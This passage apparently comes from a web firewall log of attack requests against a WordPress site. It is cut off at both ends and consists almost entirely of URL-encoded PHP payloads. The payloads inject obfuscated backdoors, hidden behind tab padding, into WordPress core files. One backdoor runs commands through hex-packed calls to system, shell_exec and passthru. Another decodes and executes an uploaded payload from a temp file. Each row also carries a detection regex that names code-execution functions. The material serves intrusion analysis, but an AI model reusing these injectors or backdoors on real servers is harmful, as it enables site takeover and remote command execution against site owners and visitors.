20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7260\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\n\nZK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:44:00","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7283\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor3%2529%2529%257B%2524task_processor3%2528%2524event_dispatcher%252C%2524itm_rec%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524itm_rec%2529%253B%257Delseif%2528function_exists%2528%2524task_processor4%2529%2529%257B%2524task_processor4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor5%2529%2526%2526function_exists%2528%2524task_processor6%2529%2526%2526function_exists%2528%2524task_processor7%2529%2529%257B%2524parameter_group_res%253D%2524task_processor5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_res%2529%257B%2524k_dchunk%253D%2524task_processor6%2528%2524parameter_group_res%2529%253B%2524task_processor7%2528%2524parameter_group_res%2529%253Bprint%2520%2524k_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:44:06","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3736\n\nzK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%